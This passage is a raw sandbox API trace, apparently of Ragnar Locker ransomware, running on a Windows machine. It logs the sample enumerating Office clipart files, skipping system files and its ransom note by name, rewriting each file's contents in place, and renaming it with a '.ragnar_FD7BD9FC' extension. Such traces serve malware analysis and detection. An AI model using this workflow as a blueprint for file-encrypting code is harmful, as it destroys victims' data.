lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaf0, lpOverlapped=0x0) returned 1 [0092.253] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.253] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.254] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.254] GetProcessHeap () returned 0x580000 [0092.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.254] CloseHandle (hObject=0xf4) returned 1 [0092.254] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" [0092.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.ragnar_FD7BD9FC" [0092.254] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0092.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.255] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02270_.WMF" | out: lpString1="SO02270_.WMF") returned="SO02270_.WMF" [0092.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF") returned=".WMF" [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="autorun.inf") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="boot.ini") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="bootfont.bin") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="bootsect.bak") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="bootmgr") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="bootmgr.efi") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="desktop.ini") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="iconcache.db") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="ntldr") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="ntuser.dat") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="ntuser.ini") returned 1 [0092.255] lstrcmpiW (lpString1="SO02270_.WMF", lpString2="thumbs.db") returned -1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.255] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf")) returned 0x20 [0092.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.257] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2664) returned 1 [0092.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.257] GetProcessHeap () returned 0x580000 [0092.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.258] VirtualAlloc (lpAddress=0x0, dwSize=0xa68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.258] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa68, lpOverlapped=0x0) returned 1 [0092.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.259] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa68, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.259] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa68, lpOverlapped=0x0) returned 1 [0092.259] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.259] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.259] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.259] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.259] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.259] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.259] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.259] GetProcessHeap () returned 0x580000 [0092.259] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.259] CloseHandle (hObject=0xf4) returned 1 [0092.259] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" [0092.259] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.ragnar_FD7BD9FC" [0092.260] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.260] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0092.260] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.260] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02276_.WMF" | out: lpString1="SO02276_.WMF") returned="SO02276_.WMF" [0092.260] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF") returned=".WMF" [0092.260] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.260] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="autorun.inf") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="boot.ini") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="bootfont.bin") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="bootsect.bak") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="bootmgr") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="bootmgr.efi") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="desktop.ini") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="iconcache.db") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="ntldr") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="ntuser.dat") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="ntuser.ini") returned 1 [0092.261] lstrcmpiW (lpString1="SO02276_.WMF", lpString2="thumbs.db") returned -1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.261] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf")) returned 0x20 [0092.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.262] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12516) returned 1 [0092.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.262] GetProcessHeap () returned 0x580000 [0092.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.262] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.263] VirtualAlloc (lpAddress=0x0, dwSize=0x30e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.263] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30e4, lpOverlapped=0x0) returned 1 [0092.264] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.264] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.264] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30e4, lpOverlapped=0x0) returned 1 [0092.264] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.265] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.265] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.265] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.265] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.265] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.265] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.265] GetProcessHeap () returned 0x580000 [0092.265] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.265] CloseHandle (hObject=0xf4) returned 1 [0092.265] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" [0092.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.ragnar_FD7BD9FC" [0092.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.266] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0092.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.266] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02413_.WMF" | out: lpString1="SO02413_.WMF") returned="SO02413_.WMF" [0092.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF") returned=".WMF" [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="autorun.inf") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="boot.ini") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="bootfont.bin") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="bootsect.bak") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="bootmgr") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="bootmgr.efi") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="desktop.ini") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="iconcache.db") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="ntldr") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="ntuser.dat") returned 1 [0092.266] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.267] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="ntuser.ini") returned 1 [0092.267] lstrcmpiW (lpString1="SO02413_.WMF", lpString2="thumbs.db") returned -1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.267] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf")) returned 0x20 [0092.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.268] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=96796) returned 1 [0092.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17a13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.268] GetProcessHeap () returned 0x580000 [0092.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.268] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.269] VirtualAlloc (lpAddress=0x0, dwSize=0x17a1c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.269] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17a1c, lpOverlapped=0x0) returned 1 [0092.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.272] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17a1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.272] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17a1c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17a1c, lpOverlapped=0x0) returned 1 [0092.272] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17a1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.273] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17a1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.273] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, 